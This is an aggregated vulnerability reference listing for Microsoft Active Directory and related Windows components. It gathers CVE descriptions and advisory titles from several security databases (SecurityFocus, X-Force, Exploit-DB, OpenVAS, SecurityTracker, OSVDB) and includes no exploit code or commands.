[CVE-2011-2014] The LDAP over SSL (aka LDAPS) implementation in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not examine Certificate Revocation Lists (CRLs), which allows remote authenticated users to bypass intended certificate restrictions and access Active Directory resources by leveraging a revoked X.509 certificate for a domain account, aka "LDAPS Authentication Bypass Vulnerability."
[CVE-2009-1928] Stack consumption vulnerability in the LDAP service in Active Directory on Microsoft Windows 2000 SP4, Server 2003 SP2, and Server 2008 Gold and SP2
[CVE-2009-1139] Memory leak in the LDAP service in Active Directory on Microsoft Windows 2000 SP4 and Server 2003 SP2, and Active Directory Application Mode (ADAM) on Windows XP SP2 and SP3 and Server 2003 SP2, allows remote attackers to cause a denial of service (memory consumption and service outage) via (1) LDAP or (2) LDAPS requests with unspecified OID filters, aka "Active Directory Memory Leak Vulnerability."
[CVE-2009-1138] The LDAP service in Active Directory on Microsoft Windows 2000 SP4 does not properly free memory for LDAP and LDAPS requests, which allows remote attackers to execute arbitrary code via a request that uses hexadecimal encoding, whose associated memory is not released, related to a "DN AttributeValue," aka "Active Directory Invalid Free Vulnerability."  NOTE: this issue is probably a memory leak.
[CVE-2008-5112] The LDAP server in Active Directory in Microsoft Windows 2000 SP4 and Server 2003 SP1 and SP2 responds differently to a failed bind attempt depending on whether the user account exists and is permitted to login, which allows remote attackers to enumerate valid usernames via a series of LDAP bind requests, as demonstrated by ldapuserenum.
[CVE-2008-4023] Active Directory in Microsoft Windows 2000 SP4 does not properly allocate memory for (1) LDAP and (2) LDAPS requests, which allows remote attackers to execute arbitrary code via a crafted request, aka "Active Directory Overflow Vulnerability."
[CVE-2008-1445] Active Directory on Microsoft Windows 2000 Server SP4, XP Professional SP2 and SP3, Server 2003 SP1 and SP2, and Server 2008 allows remote authenticated users to cause a denial of service (system hang or reboot) via a crafted LDAP request.
[CVE-2008-0088] Unspecified vulnerability in Active Directory on Microsoft Windows 2000 and Windows Server 2003, and Active Directory Application Mode (ADAM) on XP and Server 2003, allows remote attackers to cause a denial of service (hang and restart) via a crafted LDAP request.
[CVE-2007-3028] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4 does not properly check "the number of convertible attributes", which allows remote attackers to cause a denial of service (service unavailability) via a crafted LDAP request, related to "client sent LDAP request logic," aka "Windows Active Directory Denial of Service Vulnerability".  NOTE: this is probably a different issue than CVE-2007-0040.
[CVE-2007-0040] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4, Server 2003 SP1 and SP2, Server 2003 x64 Edition and SP2, and Server 2003 for Itanium-based Systems SP1 and SP2 allows remote attackers to execute arbitrary code via a crafted LDAP request with an unspecified number of "convertible attributes."
[CVE-2013-1282] The LDAP service in Microsoft Active Directory, Active Directory Application Mode (ADAM), Active Directory Lightweight Directory Service (AD LDS), and Active Directory Services allows remote attackers to cause a denial of service (memory consumption and service outage) via a crafted query, aka "Memory Consumption Vulnerability."
[CVE-2011-3406] Buffer overflow in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote authenticated users to execute arbitrary code via a crafted query that leverages incorrect memory initialization, aka "Active Directory Buffer Overflow Vulnerability."
[CVE-2011-1264] Cross-site scripting (XSS) vulnerability in Active Directory Certificate Services Web Enrollment in Microsoft Windows Server 2003 SP2 and Server 2008 Gold, SP2, R2, and R2 SP1 allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka "Active Directory Certificate Services Vulnerability."
[CVE-2011-1247] Untrusted search path vulnerability in the Microsoft Active Accessibility component in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows local users to gain privileges via a Trojan horse DLL in the current working directory, aka "Active Accessibility Insecure Library Loading Vulnerability."
[CVE-2011-0654] Integer underflow in the BowserWriteErrorLogEntry function in the Common Internet File System (CIFS) browser service in Mrxsmb.sys or bowser.sys in Active Directory in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code or cause a denial of service (system crash) via a malformed BROWSER ELECTION message, leading to a heap-based buffer overflow, aka "Browser Pool Corruption Vulnerability." NOTE: some of these details are obtained from third party information.
[CVE-2011-0040] The server in Microsoft Active Directory on Windows Server 2003 SP2 does not properly handle an update request for a service principal name (SPN), which allows remote attackers to cause a denial of service (authentication downgrade or outage) via a crafted request that triggers name collisions, aka "Active Directory SPN Validation Vulnerability."
[CVE-2010-0820] Heap-based buffer overflow in the Local Security Authority Subsystem Service (LSASS), as used in Active Directory in Microsoft Windows Server 2003 SP2 and Windows Server 2008 Gold, SP2, and R2
[CVE-2009-2509] Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly validate headers in HTTP requests, which allows remote authenticated users to execute arbitrary code via a crafted request to an IIS web server, aka "Remote Code Execution in ADFS Vulnerability."
[CVE-2009-2508] The single sign-on implementation in Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly remove credentials at the end of a network session, which allows physically proximate attackers to obtain the credentials of a previous user of the same web browser by using data from the browser's cache, aka "Single Sign On Spoofing in ADFS Vulnerability."
[CVE-2008-3539] Unspecified vulnerability in HP OpenView Select Identity (HPSI) Connectors on Windows, as used in HPSI Active Directory Connector 2.30 and earlier, HPSI SunOne Connector 1.14 and earlier, HPSI eDirectory Connector 1.12 and earlier, HPSI eTrust Connector 1.02 and earlier, HPSI OID Connector 1.02 and earlier, HPSI IBM Tivoli Dir Connector 1.02 and earlier, HPSI TOPSecret Connector 2.22.001 and earlier, HPSI RACF Connector 1.12.001 and earlier, HPSI ACF2 Connector 1.02 and earlier, HPSI OpenLDAP Connector 1.02 and earlier, and HPSI BiDir DirX Connector 1.00.003 and earlier, allows local users to obtain sensitive information via unknown vectors.
[CVE-2007-2999] Microsoft Windows Server 2003, when time restrictions are in effect for user accounts, generates different error messages for failed login attempts with a valid user name than for those with an invalid user name, which allows context-dependent attackers to determine valid Active Directory account names.
[CVE-2005-3169] Microsoft Windows 2000 before Update Rollup 1 for SP4, when the "audit directory service access" policy is enabled, does not record a 565 event message for File Delete Child operations on an Active Directory object in the security event log, which could allow attackers to conduct unauthorized activities without detection.
[CVE-2005-0545] Microsoft Windows XP Pro SP2 and Windows 2000 Server SP4 running Active Directory allow local users to bypass group policies that restrict access to hidden drives by using the browse feature in Office 10 applications such as Word or Excel, or using a flash drive.  NOTE: this issue has been disputed in a followup post.
[CVE-2003-0533] Stack-based buffer overflow in certain Active Directory service functions in LSASRV.DLL of the Local Security Authority Subsystem Service (LSASS) in Microsoft Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, Server 2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code via a packet that causes the DsRolerUpgradeDownlevelServer function to create long debug entries for the DCPROMO.LOG log file, as exploited by the Sasser worm.
[CVE-2003-0507] Stack-based buffer overflow in Active Directory in Windows 2000 before SP4 allows remote attackers to cause a denial of service (reboot) and possibly execute arbitrary code via an LDAP version 3 search request with a large number of (1) "AND," (2) "OR," and possibly other statements, which causes LSASS.EXE to crash.
[CVE-2002-2328] Active Directory in Windows 2000, when supporting Kerberos V authentication and GSSAPI, allows remote attackers to cause a denial of service (hang) via an LDAP client that sets the page length to zero during a large request.

SecurityFocus - https://www.securityfocus.com/bid/:
[31609] Microsoft Windows Active Directory LDAP Request Handling Remote Code Execution Vulnerability
[29584] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[27638] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[24800] Microsoft Windows Active Directory LDAP Request Validation Remote Code Execution Vulnerability
[24796] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[97448] Microsoft Windows Active Directory CVE-2017-0164 Denial of Service Vulnerability
[91118] Microsoft Windows Active Directory CVE-2016-3226 Denial of Service Vulnerability
[90065] Microsoft Windows Kernel 'Win32k.sys' CVE-2016-0174 Local Privilege Escalation Vulnerability
[62184] Microsoft Windows Active Directory CVE-2013-3868 Denial of Service Vulnerability
[58848] Microsoft Windows Active Directory CVE-2013-1282 Denial of Service Vulnerability
[50570] Microsoft Active Directory LDAPS Authentication Bypass Vulnerability
[37215] Microsoft Windows Active Directory Single Sign On Authentication Spoofing Vulnerability
[36918] Microsoft Active Directory LDAP Request Stack Exhaustion Denial Of Service Vulnerability
[35226] Microsoft Active Directory Encoded LDAP String Memory Corruption Remote Code Execution Vulnerability
[32305] Microsoft Active Directory LDAP Server Username Enumeration Weakness
[8093] Microsoft Windows 2000 Active Directory Forest Origin Validation Vulnerability
[7930] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[7330] Microsoft Windows Active Directory Policy Bypass Vulnerability

IBM X-Force - https://exchange.xforce.ibmcloud.com:
[50761] Microsoft Windows Active Directory LDAP denial of service
[50759] Microsoft Windows 2000 Active Directory LDAP code execution
[45585] Microsoft Windows Active Directory LDAP search buffer overflow
[42668] Microsoft Windows Active Directory LDAP request denial of service
[40102] Microsoft Windows Active Directory LDAP request denial of service
[35180] Microsoft Windows Active Directory LDAP denial of service
[35179] Microsoft Windows Active Directory LDAP attribute buffer overflow
[86072] Microsoft Windows Active Directory Federation Services information disclosure
[71559] Microsoft Windows Active Directory buffer overflow
[70950] Microsoft Windows Active Directory privilege escalation
[67750] Microsoft Windows Active Directory Certificate Services Web Enrollment cross-site scripting
[64915] Microsoft Windows Active Directory denial of service
[54426] Microsoft Windows Active Directory Federation Services (ADFS) code execution
[54425] Microsoft Windows Active Directory Federation Services (ADFS) spoofing
[34634] Microsoft Windows Server 2003 Active Directory information disclosure
[29737] Microsoft Active Directory maximum LDAP connections reached
[12489] Microsoft Windows 2000 Server Active Directory buffer overflow

Exploit-DB - https://www.exploit-db.com:
[22782] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[30825] Microsoft Windows Media Digital Rights Management ActiveX Control Buffer Overflow Vulnerability
[29630] Microsoft Windows 2003/XP ReadDirectoryChangesW Information Disclosure Vulnerability
[20371] Microsoft Windows 95/WfW smbclient Directory Traversal Vulnerability
[19731] microsoft index server 2.0/indexing services for windows 2000 - Directory Traversal
[11195] Microsoft Windows Defender ActiveX Heap Overflow PoC

OpenVAS (Nessus) - http://www.openvas.org:
[902487] Microsoft Windows Active Directory LDAPS Authentication Bypass Vulnerability (2630837)
[902290] Microsoft Windows Active Directory SPN Denial of Service (2478953)
[901048] Microsoft Windows Active Directory Denial of Service Vulnerability (973309)
[900566] Microsoft Active Directory LDAP Remote Code Execution Vulnerability (969805)
[801598] Microsoft Windows2k3 Active Directory 'BROWSER ELECTION' Buffer Overflow Vulnerability

SecurityTracker - https://www.securitytracker.com:
[1028405] Microsoft Active Directory LDAP Processing Flaw Lets Remote Users Deny Service
[1021042] Microsoft Active Directory LDAP Memory Allocation Error Lets Remote Users Execute Arbitrary Code
[1020229] Microsoft Active Directory LDAP Validation Bug Lets Remote Users Deny Service
[1018355] Windows Active Directory Bug in Processing LDAP Convertible Attributes Lets Remote Users Execute Arbitrary Code
[1007093] Microsoft Active Directory Stack Overflow in 'Lsaas.exe' Lets Remote Users Crash the Windows 2000 Server
[1028908] Microsoft Active Directory Federation Services Discloses Account Information to Remote Users
[1026412] Microsoft Active Directory Memory Access Error Lets Remote Authenticated Users Execute Arbitrary Code
[1026294] Microsoft Active Directory CRL Validation Flaw Lets Remote Users Bypass Authentication
[1025653] Microsoft Active Directory Input Validation Flaw in Certificate Services Web Enrollment Permits Cross-Site Scripting Attacks
[1025330] Microsoft WMITools and Windows Messenger ActiveX Controls Let Remote Users Execute Arbitrary Code
[1025086] Microsoft Active Directory Heap Overflow in Processing BROWSER ELECTION Packets May Let Remote Users Execute Arbitrary Code
[1025042] Microsoft Active Directory SPN Collosions May Let Remote Authenticated Users Deny Service
[1023296] Microsoft Active Directory Federation Services Lets Remote Authenticated Users Execute Arbitrary Code and Spoof Web Sites
[1023156] Microsoft Active Directory Stack Memory Consumption Flaw Lets Remote Users Deny Service
[1022349] Microsoft Active Directory Bugs Let Remote Users Execute Arbitrary Code or Deny Service
[1021369] Microsoft Visual Basic DataGrid/FlexGrid/Heirarchival FlexGrid/Windows Common/Charts ActiveX Controls Let Remote Users Execute Arbitrary Code
[1020512] HP OpenView Select Identity Unspecified Flaw in Active Directory Bidirectional LDAP Connector Lets Remote Users Access the System
[1019382] Active Directory LDAP Processing Bug Lets Remote Users Deny Service
[1011233] WebLogic Active Directory LDAP Error May Fail to Disable User Accounts
[1009767] Microsoft Windows 2000 Domain Controller LDAP Flaw May Let Remote Users Restart the Authentication Service
[1007932] Microsoft Windows Troubleshooter ActiveX Control Buffer Overflow Lets Remote Users Execute Arbitrary Code
[1007905] Microsoft Windows Server 2003 Shell Folders Can Be Referenced Using Directory Traversal Characters
[1005150] Microsoft Windows Operating System Certificate Enrollment ActiveX Control Allows Remote Users to Delete Certificates on a Target User's System
[1004441] Microsoft Windows Help System Buffer Overflows in 'htctrl.ocx' ActiveX Control May Let Remote Users Execute Arbitrary Code on a Target User's Computer By Sending Malicious HTML
[1004369] Microsoft Active Directory May Have Bug That Allows Remote Users to Crash the Directory
[1003420] Microsoft Site Server Commerce Edition Discloses Potentially Sensitive Administration Information and Source Code to Remote Users With Valid Accounts and Discloses User Passwords from the LDAP Directory to Anonymous Remote Users
[1003075] ActivePerl for Windows Discloses Directory Path Location to Remote Users
[1001832] Microsoft Windows 2000 LDAP Server Lets Remote Users Gain Administrator Access to the Domain Controller When Configured to Support LDAP over SSL

OSVDB - http://www.osvdb.org:
[92126] Microsoft Windows Multiple Active Directory Components LDAP Crafted Query Handling Memory Consumption Remote DoS
[76902] Microsoft Windows Active Directory LDAPS CRL Handling Weakness Authentication Bypass
[60210] Microsoft Windows Active Directory Malformed LDAP Client Request Remote DoS
[59856] Microsoft Windows Active Directory Malformed LDAP Request Stack Exhaustion Remote DoS
[54938] Microsoft Windows Active Directory Crafted LDAP(S) Request Handling Remote DoS
[54937] Microsoft Windows Active Directory Crafted LDAP(S) Request Hexdecimal DN AttributeValue Handling Arbitrary Code Execution
[50000] Microsoft Windows Active Directory LDAP Server Bind Request User Account Enumeration
[49058] Microsoft Windows Active Directory LDAP(S) Request Handling Remote Overflow
[46066] Microsoft Windows Active Directory LDAP Request Processing Remote DoS
[35961] Microsoft Windows Active Directory LDAP Service Crafted Request Remote DoS
[35960] Microsoft Windows Active Directory LDAP Service Convertible Attribute Remote Code Execution
[15379] Microsoft Windows ActiveDirectory LDAP Authentication Bypass
[77667] Microsoft Windows Active Directory Query Parsing Remote Overflow
[72937] Microsoft Windows Active Directory Certificate Services Web Enrollment XSS
[72670] Microsoft Windows Server 2003 ActiveDirectory BROWSER ELECTION Remote Overflow
[70825] Microsoft Windows Server Active Directory Server Principal Name (SPN) Handling Remote DoS
[60836] Microsoft Windows Active Directory Federation Services (ADFS) Request Header Handling Remote Code Execution
[60835] Microsoft Windows Active Directory Federation Services (ADFS) Single Sign-on Spoofing
[41461] Microsoft Active Directory / ADAM Malformed LDAP Request Remote DoS
[36138] Microsoft Windows Active Directory Time Restriction User Enumeration
[30405] Microsoft Windows Active Directory Unspecified DoS
[12655] Microsoft Windows Active Directory LSASS.EXE DoS
[2237] Microsoft Windows 2000 Active Directory Lsass.exe Overflow
[1297] Microsoft Windows 2000 Active Directory Object Attribute		N/A
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[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160870] Microsoft Windows up to Server 2019 Active Directory Federation Service 2FA weak authentication
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[155092] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[149893] Microsoft Windows up to Server 2019 Active Directory privilege escalation
[141620] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[139937] Microsoft Windows up to Server 2019 Azure Active Directory information disclosure
[131642] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 Active Directory privilege escalation
[126730] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[124217] Microsoft Windows Server 2012/Server 2016 Active Directory Federation Services /adfs/ls privilege escalation
[116020] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Active Directory 7PK Security Features
[99683] Microsoft Windows 10 1607/10 1703/Server 2012 R2/Server 2016 Active Directory 7PK Security Features
[99667] Microsoft Windows 10/Server 2016 Active Directory Service Unresponsive privilege escalation
[98110] Microsoft Windows Active Directory Federation Services information disclosure
[88781] Microsoft Windows 2000 Active Directory Schema privilege escalation
[88644] Microsoft Windows 2000 Active Directory Kerberos Ticket Logging privilege escalation
[87960] Microsoft Windows Server 2008 R2/Server 2012/Server 2012 R2 Active Directory privilege escalation
[80878] Microsoft Windows Server 2012 R2 Active Directory Federation Service privilege escalation
[77640] Microsoft Windows Active Directory Code
[75783] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services cross site scripting
[74834] Microsoft Windows Server 2012 R2 Active Directory Federation Services 3.0 privilege escalation
[45063] Microsoft Windows Server 2003 Active Directory information disclosure
[26516] Microsoft Windows 95/98/ME/NT 4.0 Active Directory unknown vulnerability
[19970] Microsoft Windows 2000 Active Directory privilege escalation
[10190] Microsoft Windows 7/8/Server 2008/Vista Active Directory privilege escalation
[9929] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services information disclosure
[4474] Microsoft Windows 7/Server 2003/Server 2008/Vista/XP Active Directory Query memory corruption
[4440] Microsoft Windows Active Directory weak authentication
[4364] Microsoft Windows Active Directory cross site scripting
[4067] Microsoft Windows Active Directory Federation Service privilege escalation
[4058] Microsoft Windows Active Directory denial of service
[3845] Microsoft Windows 2000 SP4 Active Directory denial of service
[3733] Microsoft Windows Active Directory privilege escalation
[3179] Microsoft Windows Active Directory denial of service
[3178] Microsoft Windows Active Directory memory corruption
[2689] Microsoft Windows up to 2000 SP4 Active Directory denial of service
[145] Microsoft Windows 2000 Active Directory weak authentication
[134] Microsoft Windows up to 2000 SP3 Active Directory memory corruption
[157918] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151146] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151100] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151097] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[146442] F5 BIG-IP Active Directory/LDAP/Client Certificate weak authentication
[145356] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[140066] Microsoft NuGet/ADAL.NET Azure Active Directory privilege escalation
[136274] Microsoft Windows up to Server 2019 ActiveX memory corruption
[134752] Microsoft Azure Active Directory Connect 1.3.20.0 PowerShell privilege escalation
[131628] Microsoft Windows up to Server 2019 ActiveX memory corruption
[123141] Samba up to 4.6.15/4.7.8/4.8.3 Active Directory LDAP Server information disclosure
[121120] Microsoft Active Directory Federation Services Web Customizations cross site scripting
[101011] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 ActiveX Object Memory information disclosure
[99685] Microsoft Windows up to Vista SP2 LDAP privilege escalation
[92249] Microsoft Azure Active Directory Passport up to 1.4.5/2.0.0 weak authentication
[79863] Samba up to 4.3.2 Windows Active Directory Server privilege escalation
[77331] Apache ActiveMQ up to 5.11.1 on Windows Fileserver Upload/Download directory traversal
[68590] Microsoft Windows up to Vista TS WebProxy directory traversal
[66445] Microsoft Windows 8.0/8.1 XMLDOM ActiveX Control privilege escalation
[51811] Microsoft Windows max3activex.dll privilege escalation
[51497] Microsoft Windows Live Messenger 2009 ActiveX Control msnmsgr.exe denial of service
[48518] Microsoft ADAM XP Active Directory denial of service
[46007] Microsoft Windows Mobile 6.0 FTP Service directory traversal
[43982] Microsoft Windows Image Acquisition Logger ActiveX Control privilege escalation
[43953] Microsoft Windows ActiveX Control wmex.dll memory corruption
[43659] Microsoft Windows Messenger 5.1 ActiveX Control information disclosure
[42638] Microsoft Windows Installer 3.1.4000.1823 ActiveX Control msiexec.exe memory corruption
[20978] Microsoft Windows Server 2003 Shell Link directory traversal
[20961] Microsoft Windows up to 2000 SP4 Troubleshooter ActiveX Control Tshoot.ocx RunQuery2 memory corruption
[19042] Microsoft Windows NT 4.0/2000/XP HTML Help ActiveX Control hhctrl.ocx alink memory corruption
[18810] Microsoft Windows up to XP Certificate Enrollment ActiveX Control unknown vulnerability
[18709] Microsoft Windows HTML Help ActiveX Control Winhlp32.exe memory corruption
[16706] Microsoft Windows Media Player 7 WMP ActiveX Control privilege escalation
[16098] Microsoft Windows NT 4.0 Cenroll ActiveX Control xenroll.dll denial of service
[16055] Microsoft Windows 2000 System Monitor ActiveX Control memory corruption
[14976] Microsoft Windows Media Player ActiveX Control File information disclosure
[14348] Microsoft Windows NT Directory privilege escalation
[8203] Microsoft Windows up to 2012 AD LDAP Query privilege escalation
[4452] Microsoft Windows Adctive Directory Query memory corruption
[4447] Microsoft Windows Time ActiveX Control privilege escalation
[4050] Microsoft Windows ActiveX Control memory corruption
[4049] Microsoft Windows ActiveX Controls ATL OleLoadFromStream privilege escalation
[4026] Microsoft Windows DHTML Editing ActiveX Control privilege escalation
[3674] Microsoft Windows ActiveX Control hxvz.dll privilege escalation
[3309] Microsoft Visual Studio 6 ActiveX Control VBTOVSI.dll directory traversal
[3308] Microsoft Visual Studio 6 ActiveX Control PDWizard.ocx directory traversal
[2925] Microsoft Windows HTML Help ActiveX Control memory corruption
[2687] Microsoft Windows 2000/Server 2003/XP Agent ActiveX Numeric Error
[908] Microsoft Windows XP JPEG ActiveX Image Control asycpict.dll denial of service
[155] Microsoft Windows up to 2000 SP3 LDAP Cryptnet.DLL denial of service

MITRE CVE - https://cve.mitre.org:
[CVE-2011-2014] The LDAP over SSL (aka LDAPS) implementation in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not examine Certificate Revocation Lists (CRLs), which allows remote authenticated users to bypass intended certificate restrictions and access Active Directory resources by leveraging a revoked X.509 certificate for a domain account, aka "LDAPS Authentication Bypass Vulnerability."
[CVE-2009-1928] Stack consumption vulnerability in the LDAP service in Active Directory on Microsoft Windows 2000 SP4, Server 2003 SP2, and Server 2008 Gold and SP2
[CVE-2009-1139] Memory leak in the LDAP service in Active Directory on Microsoft Windows 2000 SP4 and Server 2003 SP2, and Active Directory Application Mode (ADAM) on Windows XP SP2 and SP3 and Server 2003 SP2, allows remote attackers to cause a denial of service (memory consumption and service outage) via (1) LDAP or (2) LDAPS requests with unspecified OID filters, aka "Active Directory Memory Leak Vulnerability."
[CVE-2009-1138] The LDAP service in Active Directory on Microsoft Windows 2000 SP4 does not properly free memory for LDAP and LDAPS requests, which allows remote attackers to execute arbitrary code via a request that uses hexadecimal encoding, whose associated memory is not released, related to a "DN AttributeValue," aka "Active Directory Invalid Free Vulnerability."  NOTE: this issue is probably a memory leak.
[CVE-2008-5112] The LDAP server in Active Directory in Microsoft Windows 2000 SP4 and Server 2003 SP1 and SP2 responds differently to a failed bind attempt depending on whether the user account exists and is permitted to login, which allows remote attackers to enumerate valid usernames via a series of LDAP bind requests, as demonstrated by ldapuserenum.
[CVE-2008-4023] Active Directory in Microsoft Windows 2000 SP4 does not properly allocate memory for (1) LDAP and (2) LDAPS requests, which allows remote attackers to execute arbitrary code via a crafted request, aka "Active Directory Overflow Vulnerability."
[CVE-2008-1445] Active Directory on Microsoft Windows 2000 Server SP4, XP Professional SP2 and SP3, Server 2003 SP1 and SP2, and Server 2008 allows remote authenticated users to cause a denial of service (system hang or reboot) via a crafted LDAP request.
[CVE-2008-0088] Unspecified vulnerability in Active Directory on Microsoft Windows 2000 and Windows Server 2003, and Active Directory Application Mode (ADAM) on XP and Server 2003, allows remote attackers to cause a denial of service (hang and restart) via a crafted LDAP request.
[CVE-2007-3028] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4 does not properly check "the number of convertible attributes", which allows remote attackers to cause a denial of service (service unavailability) via a crafted LDAP request, related to "client sent LDAP request logic," aka "Windows Active Directory Denial of Service Vulnerability".  NOTE: this is probably a different issue than CVE-2007-0040.
[CVE-2007-0040] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4, Server 2003 SP1 and SP2, Server 2003 x64 Edition and SP2, and Server 2003 for Itanium-based Systems SP1 and SP2 allows remote attackers to execute arbitrary code via a crafted LDAP request with an unspecified number of "convertible attributes."
[CVE-2013-1282] The LDAP service in Microsoft Active Directory, Active Directory Application Mode (ADAM), Active Directory Lightweight Directory Service (AD LDS), and Active Directory Services allows remote attackers to cause a denial of service (memory consumption and service outage) via a crafted query, aka "Memory Consumption Vulnerability."
[CVE-2011-3406] Buffer overflow in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote authenticated users to execute arbitrary code via a crafted query that leverages incorrect memory initialization, aka "Active Directory Buffer Overflow Vulnerability."
[CVE-2011-1264] Cross-site scripting (XSS) vulnerability in Active Directory Certificate Services Web Enrollment in Microsoft Windows Server 2003 SP2 and Server 2008 Gold, SP2, R2, and R2 SP1 allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka "Active Directory Certificate Services Vulnerability."
[CVE-2011-1247] Untrusted search path vulnerability in the Microsoft Active Accessibility component in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows local users to gain privileges via a Trojan horse DLL in the current working directory, aka "Active Accessibility Insecure Library Loading Vulnerability."
[CVE-2011-0654] Integer underflow in the BowserWriteErrorLogEntry function in the Common Internet File System (CIFS) browser service in Mrxsmb.sys or bowser.sys in Active Directory in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code or cause a denial of service (system crash) via a malformed BROWSER ELECTION message, leading to a heap-based buffer overflow, aka "Browser Pool Corruption Vulnerability." NOTE: some of these details are obtained from third party information.
[CVE-2011-0040] The server in Microsoft Active Directory on Windows Server 2003 SP2 does not properly handle an update request for a service principal name (SPN), which allows remote attackers to cause a denial of service (authentication downgrade or outage) via a crafted request that triggers name collisions, aka "Active Directory SPN Validation Vulnerability."
[CVE-2010-0820] Heap-based buffer overflow in the Local Security Authority Subsystem Service (LSASS), as used in Active Directory in Microsoft Windows Server 2003 SP2 and Windows Server 2008 Gold, SP2, and R2
[CVE-2009-2509] Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly validate headers in HTTP requests, which allows remote authenticated users to execute arbitrary code via a crafted request to an IIS web server, aka "Remote Code Execution in ADFS Vulnerability."
[CVE-2009-2508] The single sign-on implementation in Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly remove credentials at the end of a network session, which allows physically proximate attackers to obtain the credentials of a previous user of the same web browser by using data from the browser's cache, aka "Single Sign On Spoofing in ADFS Vulnerability."
[CVE-2008-3539] Unspecified vulnerability in HP OpenView Select Identity (HPSI) Connectors on Windows, as used in HPSI Active Directory Connector 2.30 and earlier, HPSI SunOne Connector 1.14 and earlier, HPSI eDirectory Connector 1.12 and earlier, HPSI eTrust Connector 1.02 and earlier, HPSI OID Connector 1.02 and earlier, HPSI IBM Tivoli Dir Connector 1.02 and earlier, HPSI TOPSecret Connector 2.22.001 and earlier, HPSI RACF Connector 1.12.001 and earlier, HPSI ACF2 Connector 1.02 and earlier, HPSI OpenLDAP Connector 1.02 and earlier, and HPSI BiDir DirX Connector 1.00.003 and earlier, allows local users to obtain sensitive information via unknown vectors.
[CVE-2007-2999] Microsoft Windows Server 2003, when time restrictions are in effect for user accounts, generates different error messages for failed login attempts with a valid user name than for those with an invalid user name, which allows context-dependent attackers to determine valid Active Directory account names.
[CVE-2005-3169] Microsoft Windows 2000 before Update Rollup 1 for SP4, when the "audit directory service access" policy is enabled, does not record a 565 event message for File Delete Child operations on an Active Directory object in the security event log, which could allow attackers to conduct unauthorized activities without detection.
[CVE-2005-0545] Microsoft Windows XP Pro SP2 and Windows 2000 Server SP4 running Active Directory allow local users to bypass group policies that restrict access to hidden drives by using the browse feature in Office 10 applications such as Word or Excel, or using a flash drive.  NOTE: this issue has been disputed in a followup post.
